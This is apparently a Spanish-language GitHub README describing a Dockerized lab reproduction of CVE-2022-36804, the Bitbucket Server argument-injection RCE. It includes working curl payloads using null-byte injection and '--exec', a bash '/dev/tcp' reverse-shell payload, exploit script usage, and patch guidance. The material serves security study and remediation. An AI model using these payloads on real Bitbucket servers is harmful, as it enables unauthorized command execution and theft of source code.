
Reproducción de la cadena completa de CVE-2022-36804 (Bitbucket RCE). Incluye un laboratorio Dockerizado, monitoreo con pspy64 para verificación de inyección de byte nulo y un script de exploit personalizado en Bash. Basado en la investigación de Assetnote.
CVE-2022-36804 es una vulnerabilidad de Inyección de Argumentos alta/crítica dentro de la API REST de Atlassian Bitbucket Server y Data Center.
Mientras que la puntuación base oficial de la NVD (National Vulnerability Database) es 8.8 (Alta) basada en el supuesto de que se requieren privilegios de lectura (PR:L), este análisis lo trata como una falla de 9.8 (Crítica) (PR:N). Si un repositorio objetivo tiene habilitado el acceso público (una configuración común), el vector de explotación se vuelve completamente pre-autenticado.
Este repositorio documenta una reproducción completa en laboratorio de la cadena de explotación, directamente basada en la investigación técnica publicada por Assetnote.
El análisis detalla la transición desde la orquestación del entorno y la evasión de filtros de seguridad hasta lograr un shell inverso interactivo. Como se describe en el descubrimiento original, esta falla permite la Ejecución Remota de Comandos (RCE), que puede ser explotada sin autenticación si el repositorio objetivo tiene habilitado el acceso público.
La vulnerabilidad tiene su raíz en un "Desajuste de Impedancia de Sanitización" entre el entorno de ejecución de la aplicación Java y el Sistema Operativo Linux.
Como se destaca en la investigación de Assetnote, Bitbucket utiliza la librería NuProcess para construir y ejecutar comandos Git. Cuando un usuario proporciona un parámetro prefix al endpoint /archive, Bitbucket no elimina los caracteres nulos (%00) antes de pasar la lista de argumentos al SO.
execve() procesa el comando, corta la cadena en %00. Debido a cómo NuProcess pasa los datos, el SO trata todo lo que sigue al byte nulo como un argumento de línea de comandos completamente nuevo.Al inyectar --exec=..., un atacante sale del flag --prefix previsto y fuerza al proceso git archive a ejecutar un binario arbitrario, lo que lleva a una Ejecución Remota de Comandos (RCE).
Para entender cómo el exploit pasa de un simple parámetro URL a un comando a nivel de SO, debemos diseccionar la estructura del payload y observar el "Desplazamiento de Array".
prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x
Para simular una superficie de ataque realista, el entorno de laboratorio utiliza una arquitectura de dos contenedores aislados dentro de una red puente de Docker (hacking_net). Esta configuración asegura que la explotación y el monitoreo se puedan realizar en un entorno controlado sin afectar al sistema anfitrión.
Nodo Víctima: Ejecuta Atlassian Bitbucket Server versión 7.17.1. El contenedor se llama intencionalmente bitbucket-victim. Esto refleja un refinamiento crítico de diseño para garantizar el cumplimiento con la aplicación de RFC 7230 de Apache Tomcat. Al usar un guion en lugar de un guion bajo, el entorno evita los errores 400 de "Carácter Inválido" que ocurren durante la ejecución del payload, un obstáculo técnico clave identificado y resuelto durante la fase de investigación.
Nodo Atacante: Una imagen personalizada de Kali Linux rolling. A diferencia de una imagen estándar, este nodo está preaprovisionado con el conjunto de herramientas específicas requeridas para esta cadena de explotación: git para la manipulación de repositorios, curl para la entrega del payload y netcat-traditional para capturar el shell inverso.
services:
bitbucket:
image: atlassian/bitbucket-server:7.17.1
container_name: bitbucket-victim # Renamed from bitbucket_victim to avoid host header issues when executing payload.
ports:
- "7990:7990"
volumes:
- ./bitbucket-data:/var/atlassian/application-data/bitbucket
networks:
- hacking_net
kali:
build: .
container_name: kali_attacker
tty: true
networks:
- hacking_net
networks:
hacking_net:
driver: bridge
# Use the official Kali Linux rolling image as the base
FROM kalilinux/kali-rolling
# Update package lists and install essential tools for the exploit
# - git: REQUIRED for this specific CVE (we will manipulate git commands)
# - curl: To send the HTTP requests (the payload)
# - netcat-traditional: To catch the reverse shell (listener)
# - nano: Added for user-friendly text editing inside the container
# - python3: Useful for scripting or hosting simple HTTP servers
RUN apt-get update && \
apt-get install -y git curl netcat-traditional nano python3 && \
apt-get clean && \
rm -rf /var/lib/apt/lists/*
# Set the working directory to /root for convenience
WORKDIR /root
# Keep the container running indefinitely so we can access it via 'docker exec'
# This command simply follows the null device, doing nothing but keeping the process alive
CMD ["tail", "-f", "/dev/null"]
Si ya ha aprovisionado el entorno usando el docker-compose.yml proporcionado arriba, puede usar el script exploit.sh incluido para verificar la vulnerabilidad y obtener un shell inverso en segundos.
1. Preparar el Listener
En su nodo atacante Kali (o máquina anfitriona), inicie un listener de netcat para capturar el shell:
nc.traditional -lvnp 4444
2. Ejecutar el Exploit
Ejecute el script proporcionando la IP objetivo de Bitbucket, los nombres del Proyecto/Repositorio y los detalles de su listener:
# Usage: ./exploit.sh <target_ip> <project_key> <repo_slug> <attacker_ip> <attacker_port>
chmod +x exploit.sh
./exploit.sh 172.19.0.3 CVE repo1 172.19.0.2 4444
3. Verificar Acceso
Una vez que el script se ejecute, revise su terminal de netcat. Debería tener una sesión interactiva como el usuario bitbucket.
whoami
# Output: bitbucket
id
# Output: uid=2003(bitbucket) gid=2003(bitbucket) groups=2003(bitbucket)
Lo que sigue es el registro de ejecución sin procesar de la sesión de laboratorio, detallando la transición desde la configuración del entorno hasta un shell inverso completamente interactivo, incluyendo los pasos de resolución de problemas necesarios para eludir la lógica de la aplicación y las restricciones del servidor web.
Comencé levantando el entorno vulnerable y configurando la aplicación objetivo.
docker-compose up -d --build para desplegar los contenedores atacante Kali y víctima Bitbucket.http://localhost:7990 y esperé a que la rutina de configuración de Bitbucket se inicializara.CVE y un repositorio vacío llamado Repo1.
Para verificar la inyección en tiempo real en lugar de depender de pruebas ciegas, decidí desplegar pspy64 para monitorear los procesos subyacentes de Linux.
pspy64 del repositorio oficial de GitHub.docker cp pspy64 bitbucket_victim:/tmp/pspy64
# Note that your container would be called bitbucker-victim if you clone this repo.
-u 0) dentro del contenedor víctima, apliqué privilegios de ejecución e inicié el monitor:docker exec -u 0 -it bitbucket_victim bash
cd /tmp
chmod +x pspy64
./pspy64
Cambiando al nodo atacante (docker exec -it kali_attacker bash), lancé el payload inicial de ejecución remota de comandos destinado a crear un archivo (/tmp/pwned).
curl -s "http://bitbucket_victim:7990/rest/api/latest/projects/CVE/repos/repo1/archive?prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x"
_ en el nombre del host.
-H "Host: localhost") para forzar el paso del payload a través del servidor web hacia la capa de aplicación de Bitbucket.Al lanzar el payload actualizado con el encabezado Host resultó en un nuevo error:
{"context":null,"message":"You are not permitted to access this resource","exceptionName":null}
/archive estaba denegando el acceso. Deducí que esto era porque git archive no puede operar en un repositorio vacío—necesita un árbol de commits para analizar.README.md ("This is a test repository for CVE-2022-36804") e intenté subirlo desde el contenedor Kali.bitbucket_victim contenía el guion bajo prohibido. ¡Este guion bajo me está persiguiendo - lección aprendida!172.19.0.3) y subí el commit usando las credenciales de administrador:git remote add origin http://[email protected]:7990/scm/cve/repo1.git
git push -u origin master
# If you want to try this out yourself - it should look like this:
# http://[ADMIN-USERNAME]@[VICTIM-IP]:7990/scm/[PROJECTNAME]/[REPONAME].git
Con el repositorio inicializado, lancé el payload modificado con el encabezado Host una vez más:
curl -s -v -H "Host: localhost" "http://bitbucket_victim:7990/rest/api/latest/projects/CVE/repos/repo1/archive?prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x"
Éxito. Cambiando a mi terminal de monitoreo, observé la "prueba irrefutable". pspy64 capturó el momento exacto en que el proceso Java pasó la cadena inyectada con byte nulo al kernel de Linux. Como se predijo en el análisis técnico, el SO trató todo después del byte nulo como un nuevo argumento.
Seguí esto con una verificación manual dentro del contenedor, confirmando que el archivo /tmp/pwned había sido creado por el usuario bitbucket (UID 2003).
Para finalizar la Prueba de Concepto y demostrar el máximo impacto, pasé de una simple creación de archivo a obtener acceso completo interactivo al sistema.
nc.traditional -lvnp 4444
Obtuve la IP interna de mi contenedor Kali usando hostname -I para asegurarme de que la víctima supiera a dónde enviar el shell.
Ejecuté el payload final. Usé un shell inverso bash codificado en URL para asegurar que caracteres como >, & y ' eludieran los analizadores de solicitudes HTTP de Tomcat:
curl -s -v -H "Host: localhost" "http://bitbucket_victim:7990/rest/api/latest/projects/CVE/repos/repo1/archive?prefix=x%00--exec=/bin/bash+-c+%27bash+-i+%3E%26+/dev/tcp/[KALI_CONTAINER_IP]/[LISTENER_PORT]+0%3E%261%27%00--remote=file:///%00x"
Resultado: La conexión se estabilizó. Obtuve exitosamente un shell interactivo como el usuario de servicio bitbucket, demostrando un compromiso exitoso y total del servicio.
Es importante distinguir entre la aplicación web y el SO subyacente. Este shell inverso proporciona acceso al entorno del servidor, no derechos de "Administrador" dentro de la interfaz de Bitbucket.
Como inyección de argumentos a nivel de SO, el shell hereda los privilegios del proceso padre—en este caso, la cuenta de servicio bitbucket (UID 2003).
Si bien esto no es acceso root inmediato, el impacto sigue siendo crítico:
En un entorno endurecido, esto es un Compromiso Total del Servicio. Si bien se necesitaría una escalada de privilegios secundaria para el control completo del anfitrión, el objetivo principal—acceder a la propiedad intelectual de la organización—se logra por completo.
Para asegurar las instancias de Bitbucket contra esta vulnerabilidad, Atlassian lanzó parches que implementan una validación estricta en el parámetro prefix y actualizan la lógica de ejecución de procesos para evitar la división de argumentos por byte nulo.
Corrección Oficial: Actualizar a Bitbucket Server y Data Center versiones 7.17.10, 7.21.4, 8.0.3, 8.1.3, 8.2.2, 8.3.1, o cualquier versión lanzada después de agosto de 2022.
Mitigación Inmediata: Si no es posible una actualización inmediata, asegúrese de que el Acceso Público esté deshabilitado para todos los repositorios. Si bien esto no elimina la vulnerabilidad, cambia la superficie de ataque de un vector no autenticado (Pre-Auth) a uno autenticado, requiriendo una cuenta de usuario válida para ejecutar.
Esta Prueba de Concepto fue desarrollada sintetizando investigaciones de las siguientes fuentes primarias y herramientas de laboratorio:
Investigación de Assetnote: Breaking Bitbucket: Pre-auth RCE (CVE-2022-36804) – El descubrimiento original y el recorrido técnico.
Inspiración Técnica: Devcraft - GitHub RCE via Git Injection – La investigación sobre inyección de argumentos Git que inspiró el descubrimiento de Assetnote.
Imagen Vulnerable: Atlassian Bitbucket Server 7.17.1 – La capa de contenedor específica utilizada para esta reproducción.
Herramienta de Monitoreo: pspy (Process Monitoring Tool) – Utilizada para la verificación de caja blanca de la inyección de argumentos en el kernel de Linux.
| Componente | Propósito | Rol Técnico |
|---|
prefix=x | Requisito | git archive necesita un prefijo; x actúa como marcador de posición. |
%00 | El Cuchillo | Byte Nulo. Java lo pasa, pero el kernel de Linux basado en C termina la cadena aquí. |
--exec=... | El Disparador de RCE | El Flag Peligroso. Abusa de la característica incorporada de Git para ejecutar programas externos. |
touch ... | La Acción | El comando a ejecutar. PoC seguro para verificar RCE. |
--remote=... | El Basurero | Consume el ID de Commit (añadido por Bitbucket) como argumento válido, asegurando que el comando se ejecute limpiamente sin errores de sintaxis. |
Esto ilustra el núcleo de la vulnerabilidad: cómo Datos (un prefijo de directorio) se transforman en una Instrucción (un flag de comando).
Contexto de Ejecución de Java (Estado Inicial):
Java ve una única cadena larga como el tercer argumento.
[
"git", // Index 0
"archive", // Index 1
"--prefix=x\0--exec=...\0--remote=...\0x", // Index 2: The single, polluted string
"1a2b3c4d..." // Index 3: Appended by Bitbucket
]
Ejecución del Kernel de Linux (Estado Explotado):
La syscall execve() del kernel divide la cadena en cada byte nulo (\0), desplazando los flags inyectados a sus propias posiciones independientes en el array de argumentos del proceso.
[
"git", // argv[0]: https://raw.githubusercontent.com/danielhallbro/cve-2022-36804-bitbucket-rce-analysis/HEAD/Executable
"archive", // argv[1]: Subcommand
"--prefix=x", // argv[2]: Terminated early by %00
"--exec=/bin/bash -c 'touch /tmp/pwned'", // argv[3]: THE INJECTED FLAG (RCE)
"--remote=file:///", // argv[4]: THE TRASHCAN (Redirects logic)
"1a2b3c4d..." // argv[5]: COMMIT ID (Consumed by --remote)
]